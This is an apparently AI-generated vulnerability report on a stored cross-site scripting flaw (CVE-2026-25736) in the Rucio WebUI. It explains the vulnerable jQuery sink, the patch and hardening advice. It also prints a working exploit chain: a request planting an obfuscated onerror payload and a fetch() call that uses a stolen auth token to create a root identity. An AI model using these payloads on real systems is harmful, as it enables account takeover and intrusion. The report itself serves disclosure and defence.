CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Dashboard
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-25736
6.1

Science Gone Wrong: Stored XSS in Rucio WebUI

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 25, 2026·5 min read·7 visits

PoC Available

Executive Summary (TL;DR)

Stored XSS in Rucio WebUI allows attackers to inject scripts via RSE attributes. When an admin views the storage element, the script executes. Due to weak session protections, this leads to immediate account takeover.

Rucio, the data management heavyweight used by CERN and the scientific community to juggle petabytes of physics data, has a soft underbelly: its WebUI. A Stored Cross-Site Scripting (XSS) vulnerability exists in the RSE (Rucio Storage Element) attribute management system. By injecting malicious JavaScript into storage attributes, an attacker can turn the administrative dashboard into a weapon, executing arbitrary code in the browser of any admin who views the details. Coupled with a lack of `HttpOnly` cookies and globally exposed auth tokens, this is a textbook session hijacking vector.

The Hook: Big Data, Big Target

Rucio is the unsung hero of high-energy physics. It manages exabytes of data across grid sites, clouds, and supercomputers. It’s the logistical brain behind experiments like ATLAS at the LHC. But even the smartest brains have blind spots.

The Rucio WebUI is the cockpit for administrators to manage this data flow. It’s a Python-based web application (found on PyPI as rucio-webui) that talks to the Rucio core. Usually, these internal dashboards are treated with a "soft trust" model—developers assume that only nice, well-behaved admins will ever touch the input fields. That assumption is the security equivalent of leaving your front door unlocked because you live in a gated community.

In this case, the vulnerability lies in how the WebUI handles RSE (Rucio Storage Element) Attributes. These are key-value pairs defining properties of storage locations. It turns out, the application was taking these values and painting them directly onto the DOM canvas without checking if the paint contained arsenic.

The Flaw: Trusting the Database

The root cause of CVE-2026-25736 is a classic failure of the "Trust But Verify" doctrine. The application suffered from Stored XSS because it blindly trusted data coming from its own backend.

Here is the logic flow that doomed the app:

  1. Input: An admin (or compromised account) defines a custom attribute for a storage element. The backend saves this string into the database. No sanitization happens here (which is arguably fine, databases store data, they don't render it).
  2. Retrieval: Another admin opens the RSE details page. The WebUI fetches the attributes via AJAX.
  3. The Sink: This is where the magic happens. The JavaScript client takes that JSON response and feeds it into a dangerous sink.

The developers relied heavily on jQuery methods like .html() and .append(). For the uninitiated, passing a string to .html() in jQuery is functionally equivalent to saying, "Here is some text, please interpret it as executable code if it looks like it." If the string contains <script>, jQuery obliges.

This wasn't an obscure memory corruption or a race condition. It was a fundamental misuse of frontend libraries. It’s the difference between displaying a picture of a gun and handing someone a loaded one.

The Code: The Smoking Gun

Let's look at the crime scene. The vulnerability manifested in several files, but rse.js is a prime example. The code was iterating over attributes and building a table row dynamically.

The Vulnerable Code (Conceptual):

// Inside rse.js - The danger zone
$.each(rse_attributes, function(key, value) {
    // DANGER: .append() parses HTML strings
    $('#t_rse_attributes').append(
        '<tr><td>' + key + '</td><td>' + value + '</td></tr>'
    );
});

Do you see the issue? The value variable is concatenated directly into the HTML string. If value is <img src=x onerror=alert(1)>, the browser renders an image tag, fails to load 'x', and executes the onerror handler.

The Fix:

The patch involved switching from HTML parsing sinks to text-only sinks. If you must create elements dynamically, you use .text() which automatically escapes HTML entities (converting < to &lt;).

// The Remediation
$.each(rse_attributes, function(key, value) {
    var row = $('<tr>');
    // SAFE: .text() treats input as literal string
    var keyCell = $('<td>').text(key);
    var valueCell = $('<td>').text(value);
    
    row.append(keyCell).append(valueCell);
    $('#t_rse_attributes').append(row);
});

By building the DOM nodes programmatically and setting their text content, the browser knows that <script> is just a string of characters, not a command to be obeyed.

The Exploit: From Input to Takeover

Exploiting this requires an attacker who already has some access (to modify RSEs), but the goal is privilege escalation or persistence. Let's say we have a compromised low-level admin account, or we are an insider threat. We want the credentials of the Super Admin.

Step 1: The Trap We send a POST request to create an attribute on a high-traffic RSE (like the one used for ATLAS).

POST /proxy/rses/WEB1/attr/MALICIOUS HTTP/1.1
Content-Type: application/json
 
{"value":"<img src=x onerror=eval(atob('ZmV0Y2goLi4uKQ=='))>"}

Step 2: The Trigger The Super Admin logs in to check why the storage is full. They navigate to Admin > RSE Management. The grid loads. The malicious attribute loads. The trap springs.

Step 3: The Payload Rucio WebUI had two critical architectural failures that made this exploit devastating:

  1. Cookies were not HttpOnly: The session cookie could be read by JavaScript.
  2. Global Token Exposure: The API auth token was often sitting in a global variable or easily accessible storage.

Our payload doesn't just pop an alert box. It silently makes a PUT request to the identity endpoint, creating a new user for the root account with a password we control.

// The payload executing in the victim's browser
fetch('/identities/root/userpass', {
    method: 'PUT',
    headers: {
        'X-Rucio-Auth-Token': window.token // Thanks for the token!
    },
    body: JSON.stringify({
        'identity': 'hacker',
        'password': 'PwnedPassword123'
    })
});

Game over. The attacker now has root access to the data management system.

The Fix: Remediation Strategy

If you are running Rucio WebUI, you need to update immediately. The vulnerability is patched in versions 35.8.3, 38.5.4, and 39.3.1.

For Developers: Stop using .html() and .append() with user-supplied strings. Just stop. Modern frameworks like React and Vue handle this automatically (mostly), but if you are stuck in jQuery land or vanilla JS, use .textContent or .innerText.

Defense in Depth: This exploit would have been a minor annoyance instead of a catastrophe if a Content Security Policy (CSP) had been in place. A strict CSP would block inline scripts (script-src 'self') and prevent the browser from executing the injected payload. Additionally, flag your cookies as HttpOnly and Secure. There is almost never a good reason for client-side JavaScript to read a session cookie.

Official Patches

RucioRelease notes for 35.8.3

Fix Analysis (1)

Technical Appendix

CVSS Score
6.1/ 10
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N

Affected Systems

Rucio WebUIScientific Data Management Frameworks

Affected Versions Detail

Product
Affected Versions
Fixed Version
rucio-webui
Rucio
< 35.8.335.8.3
rucio-webui
Rucio
>= 36.0.0rc1, < 38.5.438.5.4
rucio-webui
Rucio
>= 39.0.0rc1, < 39.3.139.3.1
AttributeDetail
Attack VectorNetwork (Stored XSS)
CVSS6.1 (Medium)
Privileges RequiredHigh (Admin to create attribute)
ImpactSession Hijacking / Account Takeover
CWE IDCWE-79
Exploit StatusPoC Available

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1059.007Command and Scripting Interpreter: JavaScript
Execution
T1539Steal Web Session Cookie
Credential Access
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Known Exploits & Detection

GitHub AdvisoryPayload creating root identity using fetch()

Vulnerability Timeline

Commits addressing XSS sinks in WebUI
2026-02-05
CVE-2026-25736 Published
2026-02-25

References & Sources

  • [1]GHSA-fq4f-4738-rqxm
  • [2]OWASP XSS Prevention Cheat Sheet

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.